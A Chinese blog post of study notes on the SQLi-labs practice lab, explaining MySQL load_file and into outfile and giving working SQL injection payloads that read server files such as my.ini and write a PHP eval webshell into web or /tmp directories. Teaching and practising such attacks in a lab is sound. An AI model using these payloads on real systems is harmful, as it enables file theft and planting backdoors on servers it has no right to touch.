SQLI LABS修煉筆記(三)

2021-08-16 04:35:15 字數 2098 閱讀 9258

寫在前面:

如果該檔案不存在,或因為上面的任一原因而不能被讀出,函式返回空。比較難滿足的

就是許可權,在windows 下,如果ntfs 設定得當,是不能讀取相關的檔案的,當遇到只有

administrators 才能訪問的檔案,users 就別想load_file 出來。

在實際的注入中,我們有兩個難點需要解決:

絕對物理路徑

構造有效的畸形語句(報錯爆出絕對路徑)

在很多php 程式中,當提交乙個錯誤的query,如果display_errors = on,程式就會暴露

web 目錄的絕對路徑,只要知道路徑,那麼對於乙個可以注入的php 程式來說,整個伺服器的安全將受到嚴重的威脅。

mysql注入load_file常見路徑:

load data infile 語句用於高速地從乙個文字檔案中讀取行,並裝入乙個表中。檔名稱必

須為乙個文字字串。

在注入過程中,我們往往需要一些特殊的檔案,比如配置檔案,密碼檔案等。當你具有資料

庫的許可權時,可以將系統檔案利用load data infile 匯入到資料庫中。

select.....into outfile 'file_name'

可以把被選擇的行寫入乙個檔案中。該檔案被建立到伺服器主機上,因此您必須擁有file

許可權,才能使用此語法。file_name 不能是乙個已經存在的檔案。

我們一般有兩種利用形式:

第一種直接將select 內容匯入到檔案中:

select version() into outfile 「c:\\phpnow\\htdocs\\test.php」

此處將version()替換成一句話,

<?php @eval($_post[「yulige」])?>

也即

select <?php @eval($_post[「yulige」])?> into outfile 「c:\\phpnow\\htdocs\\test.php」

直接連線一句話就可以了,其實在select 內容中不僅僅是可以上傳一句話的,也可以上傳很

多的內容。

第二種修改檔案結尾:

select version() into outfile 「c:\\phpnow\\htdocs\\test.php」 lines terminated by 0x     //16 進製檔案

解釋:通常是用『\r\n』結尾,此處我們修改為自己想要的任何檔案。同時可以用fields terminated by

16 進製可以為一句話或者其他任何的**,可自行構造。

select load_file(『c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini』)into outfile

『c:\\wamp\\www\\test.php』

可以利用該語句將伺服器當中的內容匯入到web 伺服器下的目錄,這樣就可以得到資料了。

上述my.ini 當中存在password 項(不過預設被注釋),當然會有很多的內容可以被匯出來,

這個要平時積累。

參考文章:《mysql注入天書》

2333333知識普及的差不多了,終於開始正題了嗎?

首先介紹兩個可以說是函式,還是變數的東西

@@datadir 讀取資料庫路徑

@@basedir mysql 獲取安裝路徑

這裡的less-7我沒注出來,但是在less-3注出了路徑。

/var/lib/mysql/

/usr

')) union select 1,2,'<?php @eval($_post["test"]);?>' into outfile '/tmp/123.php' --+

之後拿菜刀連一下。

Sqli labs 學習筆記

資料庫的連線函式 concat和concat ws concat ws的第乙個引數是連線字串的分隔符。user 返回當前資料庫連線使用的使用者 database 返回當前資料庫連線使用的資料庫 version 返回當前資料庫的版本 127.0.0.1 sqli labs less 1 id 1 un...

SQLI LABS學習筆記 四

第十六關 和之前的關卡一樣,修改閉合,無意義的關卡 閉合即可 第十七關 這題從原始碼上看發現 這裡進行了兩次查詢 先查詢了使用者名稱是否存在 再查詢密碼是否匹配這個使用者 那麼我們就需要知道使用者名稱 在知道使用者名稱的前提下來進行注入 在之前的測試知道有admin這個賬戶 所以就用admin來注入...

《程式設計師修煉之道》筆記 三

第四章 注重偏執的實效 你不可能寫出完美的軟體 我們要把這句話視為生活的公理,並接受它 擁抱它。但同時,有一些方法可以盡量把這個事實轉變為有利條件 作者用開車來模擬寫程式 每個人都知道只有他們自己是地球上的好司機,於是我們防衛性地開車,小心謹慎以避免麻煩發生,預判意料之外的事,盡量不讓自己陷入無法解...